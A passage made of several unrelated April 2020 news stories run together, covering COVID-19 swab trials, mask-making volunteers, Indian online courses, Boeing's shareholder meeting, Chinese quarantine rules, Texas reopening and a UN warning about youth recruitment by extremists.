variety of fronts including their comfort and ease of use, as well as their ability to collect a large enough sample with detectable amounts of viral RNA. This week, the swabs are being tested in human subjects who will receive a normal swab in one nostril and a prototype of the Wyss-designed swab in the other. If the new swabs can collect a sample that contains detectable genetic information while being as easy-to-use and comfortable as the existing swabs, IPB will ramp up production of the final injection-molded design, which will be used in future clinical trials and, the team hopes, become widely adopted by the medical community in testing patients for COVID-19. "The speed with which all this is happening is incredible - it is always a challenge to efficiently design a new product even within a standard timeframe, and the pandemic has brought challenges that need to be resolved in weeks, even days, which has reminded us how well we can adapt to unexpected situations," said Martinez, a Research Assistant who has been working on the design and iteration of the Wyss' prototype swabs. "Besides addressing the immediate need for swabs, we think that this new design can have sustained use beyond the pandemic because its manufacturing process is cheaper and more streamlined, making it viable in economies outside the United States and hopefully preventing such a shortage from happening in the future." Cross-country collaborations From the beginning of the project, the team has been committed to ensuring that their swabs are accessible to hospitals and research facilities around the country to expedite testing, and are part of the Mass General Brigham Center for COVID Innovation that includes members from the majority of hospitals in the greater Boston area. The Center's Swab Working Group meets regularly via videoconference to update each other on their progress and needs, and has made their designs and prototypes freely available through GitHub. The group also facilitates talks with manufacturing partners to coordinate the production, packaging, and delivery of the swabs to hospitals and testing centers, including local companies in Massachusetts and New Hampshire. "I've been really impressed by how collaboratively all these hospitals and companies are working with each other - it shows that the people involved are genuinely invested in developing solutions to save lives during this crisis, in any way they can," said Perry, a Staff Engineer at the Wyss Institute who is working on packaging and sterilization solutions for the swabs. Reaching out and making connections across miles and time zones is what has allowed this week's trials to take place at SUNY Downstate in New York City and TGen's Pathogen and Microbiome Division, TGen North, in Arizona. TGen North Clinical Laboratory is testing the new Wyss swabs side-by-side against existing swabs on volunteers from its research labs, and is also processing COVID-19 tests for several counties and tribal nations in northern Arizona. "We've noticed that the biggest bottleneck in clinicians sending us samples to test is that the swabs they use are in short supply, and are backordered at all the major manufacturers," said Tim McDaniel, Ph.D., the Senior Vice President of Emerging Opportunities at TGen. "Having additional manufacturers with the ability to produce swabs on a massive scale will be a huge benefit to medical groups around the country, and we are proud to be helping evaluate the Wyss swabs to further that effort." At SUNY Downstate, the swabs are being used alongside existing swabs to collect samples from healthcare workers in the emergency, intensive care, and inpatient departments as part of a small trial to determine if people who are infected with the coronavirus but aren't showing symptoms can still transmit the virus to others. The hospital's Department of Pathology is also working with the Wyss Institute on plans for a larger clinical trial to evaluate the swabs' performance based on data from the ongoing trial. "One of the silver linings of this pandemic is that it has really galvanized institutions to reach out to each other and work on solving shared problems together," said Noriyuki Murakami, M.D., a Clinical Assistant Professor in Downstate's Department of Medicine and an academic hospitalist overseeing residents at the University Hospital of Brooklyn. "This is the first time we've collaborated with the Wyss Institute, and it's been a great development for SUNY Downstate - we hope this trend continues with other institutions as well." Ingber added, "the solution to this crisis will come from the responses of scientists, engineers, and clinicians working individually and collaboratively around the world. We at the Wyss Institute are proud to be part of the solution; this is precisely why the Institute was created in the first place." ### Julie Schneider and Glenn Sasse operate Sassarosa Farms in Rhodes, among many other things, but a common theme among all their endeavors is helping others. For the past three years or so the couple has given horse-drawn carriage rides at Northwood University each holiday season, where Glenn works as a crew leader for the maintenance department. Helping others runs in the couple's DNA. Just a few weeks ago, Julie was feeling under the weather and decided to take a day of rest. Needing to occupy herself from the regular and busy cadence of demands on a family farm, she grabbed some fabric scraps and her sewing machine to see if she could make a few masks that are in demand. "I made a few one day while I was taking some down time to rest, and they turned out quite well, so I just kept going," she says. With the help of donations of fabric and envelopes, Schneider has now made over 250 masks in the past week or two, making anywhere on average of 35 to 50 per day. Requests have come in from all over and Schneider has shipped masks to doctors' offices in Flint, New York City, restaurants across the state and more. Most of her orders have come through Sassarosa Farm's Facebook page, and others through family and friends. "Right now, I have orders to make at least another 250 more masks," she says. Schneider asks for donations if recipients are able, but doesn't require it, especially for those in need. Fabric for the masks have come through generous donations within the community. "I had a bunch of neighborhood ladies donate of bags upon bags of fabric that had never been used," she says. "Others have donated thread and envelopes for mailing." Schneider also breeds Dobermann Pinschers, runs Julie's Grooming Service for dogs and the couple volunteers much of their time locally with the farm. For now, masks and tending to the farm have kept Julie and Glenn busy, as well as a litter of dogs that is 'due any day the way mom is acting' according to Schneider. "I wanted to acknowledge this wonderful family for their continued support of our community. Julie, Glenn, and their family, have gone out of their way making hundreds of masks and donating to our community and beyond," says Sherri Speaker, who nominated them for their efforts. "With their work with Sassarosa Farms they volunteer their time and animals during the holidays for carriage tours of the farm. They have a heart of gold." As for why volunteering is important to her, Schneider says it's how she was raised. "I just feel like it's important to give back to your community," she says. "It's a nice gesture to think of others and that's just how I was raised. Your community is your family and everyone should take care of one another." "Most of all, it's not just me, the whole community is helping out." Union Minister for Human Resource Development Ramesh Pokhriyal has asked students in undergraduate or post graduate courses to explore UGC MOOCs Union Minister for Human Resource Development Ramesh Pokhriyal has asked students in undergraduate or post graduate courses to explore UGC MOOCs. Did you know that UGC MOOCs, a vertical of @SWAYAMMHRD, offers a fine variety of courses at UG & PG levels? Explore the platform today and take up a course that you always wanted to! After all, what you learn today stays with you forever, he tweeted. University Grants Commissions MOOCs offers over 100 PG courses and over 200 UG courses. What is UGC MOOCs? UGC MOOC or massive open online courses is a vertical of Study Webs of ActiveLearning for Young Aspiring Minds (SWAYAM). It has been designed by the Central Government "to achieve the three cardinal principles of Education Policy viz, access, equity and quality". SWAYAM platform aims to give the best teaching learning resources to all. It offers courses taught in classrooms from Class 9 till post-graduation. Anyone can access these courses anytime and anywhere. They are free of cost. The government has appointed National Coordinators NPTEL for engineering, UGC for post-graduation education, CEC for under-graduate education, NCERT and NIOS for school education, IGNOU for out of the school students and for management studies to provide quality content. How useful is SWAYAM? Six courses under SWAYAM have managed to cement their place among the top 30 online courses of 2019, according to Class Central, a free online course aggregator from top universities like Stanford, MIT and Harvard. The six courses are: - Academic Writing: HNB Garhwal University in Uttarakhand - Digital Marketing: Panjab University Chandigarh - Animation: Banaras Hindu University - Mathematical Economics: Doon University, Dehradun - Python for Data Science: Indian Institute of Technology Madras - Early Childhood Care and Education (ECCE): Avianshilingam Institute for Home Science and Higher Education for Women, Coimbatore Earlier this month, Pokhriyal held a detailed review of SWAYAM and the 32 DTH television education channels SWAYAM PRABHA. He said that currently over 26 lakh students are taking 574 courses offered on the platform. The Tamil Nadu government has decided to return 24,000 rapid test kits received by them as per the Indian Council of Medical Research's (ICMR) directives Chennai: The Tamil Nadu government has decided to return 24,000 rapid test kits received by them and stated that the current orders also stand cancelled as per the Indian Council of Medical Research's (ICMR) directives. This came after the states were advised by the ICMR to stop using these kits procured from the two companies - Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics - and return them to be sent back to the suppliers. On DMK president MK Stalin questioning the state government's decision of paying Rs 600 for a kit priced at Rs 245, the Tamil Nadu CMO said that Stalin released the statement without proper knowledge. Health Minister C Vijayabaskar said that the state has the "highest number of recovery cases". "It stands at 56.8 percent and mortality rate at 1.2 percent," he added. A team of Army and academic researchers are investigating how eye-pupil size changes can indicate a person's cognitive state as a means to enable teaming with autonomous agents. The future Army battlespace will require humans and AI agents to team effectively to accomplish mission-critical goals. Although AI agents can fill gaps in human performance, they are rigid and lack the flexibility inherent to human behavior, which could interfere with teaming. Humans' brains are amazing, adaptable systems that automatically apply the right cognitive processes to complete a task and initiates each process at the right time. However, our brain's resources are limited. Being able to predict a Soldier's mental status before resources are maxed out is an opportunity for an autonomous agent to deploy capabilities to aid the Soldier. To make progress on enabling this technology, we wanted to better understand how physiological signals, such as pupil size changes, are related to performance and cognitive states." Dr. Russell Cohen Hoffing, Scientist, U.S. Army Combat Capabilities Development Command's Army Research Laboratory A joint effort between researchers from the Army and the Institute of Collaborative Biotechnologies at the University of California, Santa Barbara, the Cognitive Resilience and Sleep History, or CRASH, project seeks to understand how variations in state (as measured by physiological sensors) influence subsequent performance. PLOS ONE published the team's research on a subset of the data set, "Dissociable mappings of tonic and phasic pupillary features onto cognitive processes involved in mental arithmetic". In this research, the team sought to understand the cognitive processes that affect pupil size changes--and the reliability of these relationships--as a foundation to estimate how human cognitive processes and performance can vary in real-world, cognitively challenging tasks, Cohen Hoffing said. The pupil is a unique data source, as it is the only internal organ of the body that brain networks directly modulate and is visible to the outside world. "The potential of this research is exciting because eye tracking technologies are becoming universal in both commercial and military contexts," Cohen Hoffing said. "Inherent to eye tracking algorithms, pupil size is estimated but rarely used for analytics. Our research program aims to generate knowledge products that enhance usability of this type of data to have greater insight into cognitive processes such as attention and decision making." The researchers collected repeated measurements from participants on eight separate occasions over four months. The data provided insights into the consistency of the pupil response and relationships to behavior both within and between individuals--with a unique glimpse into cognitive processes over time rather than in single-session studies, Cohen Hoffing said. The findings of the study demonstrated that researchers can use pupil features to index both static and rapid-time varying aspects of cognition to understand how cognitive processes influence performance. Results indicated that at the trial-level, the time that each participant took to answer a mental arithmetic question correlated with the time to maximum pupil dilation and the size of the pupil. The relationship between performance and rapid pupil features indicated that a latent pupil response correlated with the process of reaching an answer, while pupil response increases correlated with the amount of attention applied to provide an answer. In contrast, average pupil size correlated with variability in how fast participants completed questions--suggesting that average pupil size indicates a readiness to perform the mental arithmetic task. Results of the study confirm and extend previous research, showing that cognition reliably influences the pupil on at least two time-courses: a rapid, transient influence and a longer-lasting, sustained influence. "These findings allow us to further understand in which cases pupil data may be useful for human and agent teaming," said Dr. Steven Thurman, Army scientist and senior author on the manuscript. "For example, it may be the case that pupil size is most reliable in complex, real-world contexts only when averaging data over the course of several seconds or minutes. Such a case would enable the ability to track longer timescale changes in mental states, like vigilance, workload or fatigue, but potentially limit its use for tracking moment-to-moment decisions. It is important to employ longitudinal studies like this to understand the utility of pupil data on these varying timescales." Future studies will examine how to apply this research in real-world contexts, such as using virtual reality to test whether pupil size features can be exploited in dynamic contexts. This will be a steppingstone to test the efficacy of adaptive autonomous agents that use pupil size as an effective measure of hidden human states. Facebook took down ads for President Donald Trump which violated the platform's policy on "organized hate" amid pressure to act on content promoting harm and violence (AFP Photo/Olivier DOULIERY) Vietnam sentenced a 24-year-old man to five years in prison on Tuesday for Facebook posts that were considered anti-state, as the hardline communist regime ramps up pressure against dissent on the social media platform. Facebook is massively popular in Vietnam and is often used as a tool for activists and civilians to disseminate news in the one-party state, which bans all independent media. Phan Cong Hai, 24, used it to post support for activists jailed in protests against the government's handling of a toxic dump in 2016, as well as other controversial issues. A court in central Nghe An province sentenced him on Tuesday for posts that were "against the party and state, defaming central and local officials", reported the state-run daily People's Newspaper. The content posted was "running counter to party and state's policies". Another 43-year-old man in southern Can Tho city was sentenced Monday to 18 months in prison for the same offence, according to the newspaper. Chung Hoang Chuong had posted several news reports on a land dispute case in Hanoi. As of Tuesday evening, the Facebook accounts of both men were still online. The social media giant has come under fire for complying with Hanoi to restrict content "deemed to be illegal", with rights group Amnesty International calling Facebook "complicit" in Vietnam's online censorship. Around 10 percent of Vietnam's current crop of political prisoners were jailed because of their activity on Facebook, Amnesty says. Vice President Mike Pence has a very simple explanation for why he avoided wearing a mask around coronavirus patients. On Tuesday, Pence visited the Mayo Clinic in Rochester, Minnesota, to meet with health care workers and even a COVID-19 patient at the hospital and research center. A photo later showed Pence ignored hospital policy and didn't wear a mask on his tour and later said it was because he wanted to "look" the workers "in the eye" when thanking them. "As Vice President of the United States, I'm tested for the coronavirus on a regular basis, and everyone who is around me is tested for the coronavirus," Pence said later Tuesday, citing CDC guidance that says masks help stop people who have the coronavirus from spreading it. "I thought it would be a good opportunity for me to be here, to be able to speak to these researchers, these incredible health care personnel, and look them in the eye and say thank you," Pence continued. While masks do cover one's mouth, it is still possible to speak with one on, and they have nothing to do with one's eyes. Pence comment on why he didn't wear a mask at the Mayo Clinic per their policy, per pool: pic.twitter.com/JarWBgCgL2 Kathryn Watson (@kathrynw5) April 28, 2020 The Mayo Clinic tweeted that it had told Pence about the mask policy prior to his arrival, but deleted it shortly after. It now has a tweet saying the clinic was "grateful" to have Pence visit. More stories from theweek.com How Tara Reade's allegations could bring down Joe Biden The perils of Hooverism Elon Musk, who predicted 'close to zero' new coronavirus cases by the end of April, demands we 'free America' James M. Beggs, the NASA chief who oversaw more than 20 successful space shuttle launches and who was on leave during the fatal Challenger explosion in 1986, died on April 23 at his home in Bethesda, Md. He was 94. The cause was congestive heart failure, his son Charles said. Mr. Beggs was named administrator of NASA by President Ronald Reagan in 1981. He was on administrative leave to defend himself against accusations, later declared baseless, of overcharging the government when Challenger sundered 73 seconds after liftoff, killing seven crew members, including a high school teacher, Christa McAuliffe. The Challenger disaster was attributed in part to a decision to ignore the recommendation of a contractor who had cautioned that low temperatures jeopardized the durability of the spacecrafts seals, or O-rings. Mr. Beggs had been replaced at the time by a White House political appointment, and NASA was thus bereft of experienced and trusted leadership when Challenger exploded, according to an official NASA history written in 1998 by Prof. John M. Logsdon, the former director of the Space Policy Institute at George Washington University. By AFP Boeing's head said Monday that restoring the dividend could take three to five years as the company girds for a slow air travel recovery in the wake of the coronavirus crisis. The comment from Chief Executive David Calhoun was a signal that paying back debt and keeping up Boeing's manufacturing supply chain were bigger priorities than shareholder payouts for the forseeable future. Speaking at the company's annual meeting, Calhoun offered a sober outlook on the near-term prospects for commercial air travel in the wake of the virus that is projected to cost the airline industry an estimated $314 billion in 2020 revenues, potentially felling some carriers. "Based on what we know now, we expect it will take two to three years for travel to return to 2019 levels and an additional few years beyond that for the industry's long-term trend growth to return," Calhoun said. Boeing announced earlier this month it would undertake a voluntary worker layoff plan. Sources said that the company expects to cut 10 percent of its commercial airline workforce. Even before COVID-19 broke out, Boeing was already under pressure after two crashes of its 737 MAX killed 346 people, leading to its global grounding since March 2019. Around $17 billion aimed at Boeing was included in the giant federal relief bill approved in late March under the CARES act, which restricts dividends and share buybacks from companies that take aid. Boeing has not said definitively whether it will take federal aid. Families of the MAX crashes' victims have petitioned US Treasury Secretary Steven Mnuchin to withhold funding for Boeing unless it meets stringent safety and governance standards, according to lawyers who are representing the victims in suits against Boeing. Directors re-elected The annual meeting was held remotely in light of social distancing policies and included brief remarks from shareholders who put forth proposals to reign in executives after the MAX disasters. Proxy advisor Institutional Shareholder Services had recommended "no" votes on four longtime Boeing directors in the wake of the problems, citing a failure to adequately oversee management strategy and corporate culture. But shareholders opted to re-elect the entire slate, although two directors only received about 60 percent of the votes, according to a Boeing securities filing. A narrow 52 percent majority of investors did vote to require the chairman to be an independent member of the board. Boeing, which has divided the roles of CEO and chairman as it navigates its current crisis, had opposed the measure. Calhoun defended the company's withdrawal from a $4.2 billion deal with Brazilian company Embraer, which has said it will sue Boeing following the move. Calhoun predicted the airline industry would have a strong recovery once the COVID-19 crisis is contained, but warned of a tough road ahead. The coronavirus will compel airlines to reconsider the way they manage flights, putting greater emphasis on hygiene. During a question and answer session with investors, Calhoun was asked whether Boeing expects planes to be reconfigured to meet social distancing guidelines. "Our customers without a doubt are going to have to create a new relationship with the flying public," Calhoun said, adding that "for all of us, it's going to be an education." Airline clients are deferring deliveries, suspending payments to Boeing and retiring older aircraft, which hits the company's services business. All those effects are on top of more than a year of lost revenues tied to the 737 MAX. "We know we're going to have to borrow money in the next six months," Calhoun said, adding that repaying debt will occupy the company in the immediate future, impeding its ability to return cash to shareholders. He also identified maintaining the company's supply chain as a priority, saying "without the supply chain, there will be nothing to assemble." The company also announced on Monday that it will resume manufacturing of the widebody 787 plane at its South Carolina plant beginning later this week, with new procedures implemented to combat COVID-19 including enhanced cleaning, voluntary temperature screening and physical distancing policies. Shares of Boeing fell 0.3 percent to $128.63 T his is the first picture of a father with a heart of gold who was fatally stabbed in the street near his home in south-west London. Ralph Gibson, 42, died in hospital at the weekend. He had been knifed in the back during a brawl on April 15 on an estate of family homes near Queen Marys hospital in Roehampton. Three men, aged 20, 24, and 31, were arrested on suspicion of causing grievous bodily harm. The investigation continues. Friends paid tribute to Mr Gibson, a self-employed painter and decorator, as Scotland Yard issued an appeal for witnesses to the attack in Huntingfield Road. Huntingfield Road, where Ralph Gibson was stabbed before died in hospital / Nigel Howard One wrote: Ralph was so funny and had a heart of gold, absolutely so shocked. Four other people lost their lives to violence in little over 48 hours at the weekend. A man, 40, is in a critical condition with a police guard in hospital following the knife deaths of a baby girl and a boy, three, in a suspected murder-suicide bid in Ilford on Sunday evening. Neighbours said the man, named locally as the childrens father Nithin Kumar, had been arguing with his wife about continuing to work during the Covid-19 crisis. A man was stabbed to death in Canning Town on Sunday. Police believe he was attacked in Freemasons Road. WASHINGTON, April 27, 2020 /PRNewswire/ -- The National Transportation Safety Board (NTSB) refers to the July 19, 2018, Branson, Missouri duck boat disaster as Accident No. DCA18MM028. To the 14 survivors, and the loved ones of the 17 who drowned when Stretch Duck 007 sank, the incident on Table Rock Lake was a catastrophe waiting to happen. For the nearly two dozen victims represented by the Saltz Mongeluzzi & Bendesky P.C. law firm, Tuesday's final NTSB meeting on the most lethal duck boat accident in history will hopefully include recommendations to prevent future incidents involving the WWII-era amphibious vessels. The Firm and its clients, including survivor Tia Coleman, whose husband and three young children were killed in the disaster, has advocated for a permanent ban on all duck boat operations. Trial attorneys Robert J. Mongeluzzi, Andrew R. Duffy, and Jeffrey P. Goodman, who have represented victims of death trap duck boats over the past decade, will be available for interviews following the completion of the NTSB's virtual meeting. Meeting Details: Time: 9:30 a.m. (EDT) Tuesday, April 28, 2020 Webcast: http://ntsb.windrosemedia.com/ Contacts: Robert J. Mongeluzzi / [email protected] Andrew R. Duffy / [email protected] Jeffrey P. Goodman /[email protected] Steph Rosenfeld / [email protected] / 215.514.4101 SOURCE The Mongeluzzi Firm New international arrivals to the northern Chinese region of Inner Mongolia will have to undergo 28 days of quarantine as part of an effort by local officials to tighten measures to curb the spread of Covid-19 amid growing fears of a secondary outbreak. According to a statement by the local government late on Saturday, new arrivals from outside China, including those arriving through other provinces, must now undergo a 14-day centralised medical observation as well as an additional 14-day medical observation at home. They will be released from the 28-day quarantine if all the tests, including two for nucleic acid and one for antibodies, proved negative, the statement said. Visitors from domestic locations classified as high-risk zones, including Beijings Chaoyang district, home to many foreign embassies and one of the main business districts in the Chinese capital, as well as two districts in Guangzhou Baiyun and Yuexiu will also be subject to a 14-day medical observation and coronavirus test period, it said. The stricter measures come in response to the rapid spread of the outbreak worldwide and the risk of a second wave of infections in some parts of China. Earlier, the authorities in Harbin, the capital city of the northeastern province of Heilongjiang, implemented a similar 28-day quarantine measure for people arriving from abroad after the city reported a cluster of infections caused by a 22-year-old university student returning from the US. After nearly two months of restrictions on movement that appeared to have brought the outbreak under control, China is now facing a significant risk of a secondary outbreak, with a handful of Chinese cities reporting cluster transmission originating from imported cases. On Saturday, China reported 11 new infections, including five imported cases, while all six domestic cases were believed to be linked to earlier infections caused by people returning from abroad. Story continues Among the new local infections, five were reported in Heilongjiang, now the frontline in Chinas battle against a second wave of infections after the northeastern rust belt province reported an influx of coronavirus cases traced to Chinese nationals returning from Russia and the US. The health commission of Heilongjiang said on Sunday that the five new cases, included three previously asymptomatic cases in the city of Mudanjiang. Experts said they were linked to earlier infections of Chinese nationals returned from Russia, which shares a border with the province. The two other new cases were in Harbin city and are linked to the student, whom local health authorities identified as the source of at least 87 infections in Heilongjiang, Liaoning and Inner Mongolia. A giant statue of a Russian Matryoshka doll on a street in Suifenhe, China, a border city that has imposed a residential lockdown. Photo: Reuters According to Ke Yunnan, the deputy chief of the Harbin Health Committee, the student, who was quarantined at home rather than in a centralised medical facility after landing in Harbin on March 19, infected at least one of her neighbours. The coronavirus was then passed on to an 87-year-old man who was treated at two hospitals before testing positive, causing the temporary closure of several departments of the two hospitals and putting more than 400 medical workers under quarantine. To stop the disease spreading, Harbin announced a new lockdown policy on Wednesday under which non-locals and vehicles registered elsewhere were banned from entering local residential compounds. In Suifenhe, a city of 70,000 people on the border with Russia, a residential lockdown was declared earlier this month after a spike in infections imported from Russia. Residents who wish to leave the city are now required to offer a medical certificate showing they tested negative at least three days before their departure. Those who are allowed to leave are asked to undergo 14 days quarantine and two nucleic acid tests on reaching their destination, the city government said on Sunday. On Saturday, Wang Xingzhu, the local party chief, urged border officers on Saturday to stay vigilant about infection risks caused by smugglers after China closed its border checkpoints with Russia. During a patrol with local border officers, Wang said police and local villagers should work closely together to take responsibility and fight the peoples war against imported infections. Sign up now and get a 10% discount (original price US$400) off the China AI Report 2020 by SCMP Research. Learn about the AI ambitions of Alibaba, Baidu & JD.com through our in-depth case studies, and explore new applications of AI across industries. The report also includes exclusive access to webinars to interact with C-level executives from leading China AI companies (via live Q&A sessions). Offer valid until 31 May 2020. This article Coronavirus: Inner Mongolia tightens quarantine rules as fears of second wave of cases grows first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2020. Contact tracing is part detective work, part widely used public health method and experts believe it's a key strategy to fighting Covid-19. Posted: Apr 27, 2020 6:10 PM Posted By: By Helen Regan and Adam Renton, CNN Some 200,000 people viewed the joint Israeli-Palestinian memorial ceremony commemorating the victims of the conflict. The April 27 event, which usually attracts thousands of participants, was held this year online over the novel coronavirus threat, livestreaming simultaneously in Hebrew and in Arabic from studios in Tel Aviv and Ramallah. The Israeli-Palestinian memorial ceremony was conceived 15 years ago. A bereaved Israeli parent whose son died fighting in Lebanon sought in 2006 to establish an alternative ceremony to the one traditionally organized by the state and the army at the plaza of the Western Wall. Two civil society groups took up the mission: The Parents Circle, a forum of bereaved Israeli and Palestinian families seeking reconciliation between the two peoples, and Combatants for Peace, an organization of former Israeli soldiers and Palestinian militants. The ceremony has become synonym with these two groups, generating controversy each year within Israeli society. It takes place on the eve of Israels Memorial Day for Fallen Soldiers and Victims of Terror, and not all bereaved families accept the alternative event. Some categorically reject the idea of combining grief for Israeli soldiers with that of Palestinian families over their sons. Other object to the ceremony being conducted on the specific date. Quite a few politicians on the political right have rejected it over the years, and on several occasions, Palestinians were not allowed to enter Israel from the West Bank in order to take part. Some of these politicians have even called the event "Memorial Day for terrorists." Last year, the High Court overturned a decision by the Defense Ministry then headed by Prime Minister Benjamin Netanyahu to deny the entry of 176 Palestinians who were supposed to participate in the event. After the ruling, about 9,000 Israelis and dozens of Palestinians arrived at the Tel Aviv commemoration to mark Memorial Day together. Activists from both groups noted the massive viewership of this year's event. The United Nations' envoy to the region Nickolay Mladenov sent a video expressing his support for the joint Israeli-Palestinian ceremony. Mladenov praised the organizers, stating, "You are an inspiration to all of us. You are able to cross the divide, to find partners on both sides of the conflict, and this is something that is very much needed today. But there were other voices as well. Communication Minister David Amsalem criticized the Israeli Public Broadcasting Corporation for airing a commercial publicizing the online event. Amsalem tweeted April 26 that the event was as sign of a serious decline in moral values, when an alternative and controversial ceremony, to put it mildly, for Memorial Day receives approval and promotion by the Israeli public broadcaster!? Former Meretz leader Zehava Gal-On responded with her own tweet, stating that the ceremony offered hope for both peoples. With 20 new coronavirus cases and two more deaths confirmed on Monday, the mayors of Jefferson Countys largest cities urged caution as Gov. Greg Abbott announced a partial reopening of Texas retail and other businesses. People are going to flock to stores Saturday in an unprecedented way and its not going to be healthy, Port Arthur Mayor Thurman Bill Bartie said. Folks are going to go back to church the same way. Its not going to be healthy. Beaumont Mayor Becky Ames is recommending city residents who may be at risk or concerned for their health take precautions. She herself plans to continue to opt for restaurant takeout instead of sit-down service for the time being. Im not really confident, but Im not scared either, she said. I think we all have to do the right things for our bodies. >> Related: Abbott: Texas to begin reopening Friday Abbotts order allows allowing retail, restaurants and some other businesses to operate at 25% occupancy starting on Friday. More Information Helpful numbers (409) 550-2536: Hotline for residents of Jasper, Jefferson, Hardin, Newton, Orange and Tyler counties who want to be tested for coronavirus. 211, option 6: For general coronavirus inquiries At a glance What: Testing for Orange County residents Where: Orange County Convention and Expo Center, 114 Farm Road 1442, Orange When: 9 a.m. to 6 p.m. Tuesday To register: Visit txcovidtest.org or call (512) 883-2400 Individuals will be screened to see if they have symptoms, including fever and/or chills, cough, fatigue and shortness of breath. At a glance What: Testing for Jasper County residents Where: Jasper County Courthouse Annex, 271 East Lamar When: 9 a.m. to 6 p.m. Wednesday To register: Visit txcovidtest.org or call (512) 883-2400 Individuals will be screened to see if they have symptoms, including fever and/or chills, cough, fatigue and shortness of breath. See More Collapse Not long after his announcement, local officials announced that Monday was the eighth day in the past two weeks that the number of coronavirus cases confirmed in the city of Beaumont was in the double-digits. The new orders also allow counties that have had fewer than five confirmed cases to open businesses up to 50% occupancy. Newton County is the only one to qualify in the six-county Southeast Texas region. The governor did not include a step for city or county government leaders who think his steps may be too hasty or provisions that would allow leaders to tweak the orders for specific situations. >> Related: People head outside in Galveston as beaches reopen Bartie said he understands the city has to follow the new orders, but he said he cant imagine every health-care professional agrees with this move. He said hes praying the reopening doesnt go in a bad way. Port Arthur has tested only about 200 people, or 0.4% of its population, but the number of confirmed cases continues to rise. Bartie is concerned, in part because of uncertainty over how widespread the virus is there, as well as statistics that show people of color are disproportionately affected by the virus. He encouraged people to continue to stay home, or wear masks and gloves when they go out, regardless of whether theyre required to. In Beaumont, where about 1% of residents have been tested for the virus, Ames has more information to use to make decisions. >> Related: SE Texas coronavirus cases continue to grow Should the city get information through additional testing that shows the virus is more widespread than it currently appears to be, Ames said she would feel comfortable taking it to Abbott to see if any help can be provided. The main thing is, just because this has changed doesnt mean you have to change, she said. There are people who have to go back to work for financial reasons. We have to depend on the businesses to do what they have to do to keep their employees safe. If there is a (storefront) and youre not comfortable with the precautions theyre taking, then dont go in. The region confirmed 20 more cases on Monday - nearly 75% of which were in Jefferson County. It also logged another death in Beaumont and one in Jasper County. This brings the local death toll to 25. >> Related: Coronavirus cases, deaths continue to mount The majority of the surrounding counties havent seen nearly as many confirmed cases as the cities of Beaumont and Port Arthur, but at least one other elected official has some concerns about the changes Abbotts orders will bring. Hours before Abbotts news conference explaining the changes, several local county judges already were putting out updated executive orders to fall in line with his. The orders are largely the same and say some version of all current orders of the governor shall control the conduct of the citizens of the county. However, the judges continued to include an additional provision that requires individuals who test positive for coronavirus to follow the self-isolation directives given by local health authorities. Anyone who violates the orders could be subject to a fine of up to $1,000. >> Related: SE Texas faces pandemic economy Hardin County Judge Wayne McDaniel said previously that Abbott has shown he wants to follow a phased approach influenced by data about the virus and input from health officials. And the six county judges that make up the Southeast Texas Regional Operations Center are comfortable following suit with such guidelines. Yet McDaniel had some concerns about what Abbotts order will require for local grocery stores. According to his daily update, McDaniel said the Lumberton and Silsbee Walmart Supercenters, which had been limiting the number of customers allowed in the store to 225, will be allowed to let 375 customers into the stores through Thursday. >> Related: Photos: Family parade at Focused Care at Summer Place Come Friday, Abbotts new executive order will increase the stores maximum allowable number of customers and employees to nearly 800. McDaniel on Monday afternoon told The Enterprise he has mixed feelings about the planned increase. Glad to see things slowly returning to normal but worries more people will get sick, he said by text message. One of Hardin Countys earliest positive cases of coronavirus was confirmed to have been an employee at the Walmart store in Lumberton. Hardin County Health Authority Dr. Jana Winberg previously told The Enterprise that many of the countys early cases could be traced to popular gathering spots before business restrictions and social-distancing measures were put in place. While the first phase to reopen Texas businesses has been announced, Abbott stressed that the state will be watching data and testing results for the next two weeks to determine how best to implement the next phase. >> Related: Calls to SE Texas coronavirus hotline continue to run high The six-county response effort will continue to operate testing sites at the Jack Brooks Regional Airport and in Silsbee, which are open to any individual who would like to be tested. All those interested in a test must call the hotline set up to streamline screening and testing to obtain an appointment time and patient number. Residents in Orange and Jasper counties also will have opportunities to be tested in their area on Tuesday and Wednesday, respectively. A Texas Health and Human Services mobile test collection unit will be spending a day in each county. Interested individuals also must register online or by phone, 512-883-2400, to be tested by the group. As of Monday, 3,225 patients have been tested at one of the two county-sponsored sites or by one of their strike teams. The call center received 227 calls on Monday - the most calls its gotten all month. kaitlin.bain@beaumontenterprise.com twitter.com/KaitlinBain By PTI UNITED NATIONS: UN chief Antonio Guterres has warned that extremist groups are taking advantage of the COVID-19 lockdowns and intensifying efforts on social media to recruit youths online by exploiting their anger and despair, asserting that the world cannot afford a lost generation due to the unprecedented global health crisis. The UN Secretary-General made the remarks on Monday during a video conference to review the five years since its adoption of a landmark resolution on youth, peace and security. "We can already see such groups taking advantage of the COVID-19 lockdowns, intensifying their efforts on social media to spread hatred and to recruit young people who may be spending more time at home and online," he said. Guterres told the Security Council that even before the current crisis, young people were facing enormous challenges. Listing "startling" numbers, he said one of every five young people was already not in education, training or employment and one of every four is affected by violence or conflict. Every year, 12 million girls become mothers while they themselves are still children. "These frustrations and, frankly, failures to address them by those in power today, fuel declining confidence in political establishments and institutions. "And when such a cycle takes hold, it is all too easy for extremist groups to exploit the anger and despair, and the risk of radicalisation climbs," he said. Issuing a call to action on youth, peace and security, Guterres said the "world cannot afford a lost generation of youth, their lives set back by COVID-19 and their voices stifled by a lack of participation. "Let us do far more to tap their talents as we tackle the pandemic and chart a recovery that leads to a more peaceful, sustainable and equitable future for all. With over 1.54 billion children and youth out-of-school and young people acutely feeling the impact of the COVID-19 crisis," Guterres said countries must do more to harness the talents of young people to address the crisis and its aftermath. In presenting his first report on the Security Council resolution, the UN chief said youth were already confronting numerous challenges even before the pandemic, including in accessing education, or through being affected by violence and conflict. Those pressing for peace or upholding human rights have been threatened. Despite these obstacles, young people across the world have joined the common fight against the coronavirus disease, supporting both frontline workers and people in need. And they continue to push for change. UN Youth Envoy Jayathma Wickramanayake spoke of the need for more meaningful partnerships between young people and the civil society organisations and government institutions that work on the youth, peace and security (YPS) agenda. "To date, there are no national action plans on YPS but I'm pleased to note that in some countries, these are in the process of development," she said. "For a national roadmap to be successful, a participatory, transparent and youth-led process with adequate resources are needed," she said. Issuing his four-point call to action for the Council, Guterres urged members to do more to address the various challenges facing young people. He also called for investment in youth participation, but also in their organisations and initiatives. "We must strengthen human rights protections and protect the civic space on which youth participation depends," he said. And fourth, we must emerge from the COVID-19 crisis with a determination to recover better - massively increasing our investment in young people's capacities as we deliver the Sustainable Development Goals." Pilot of 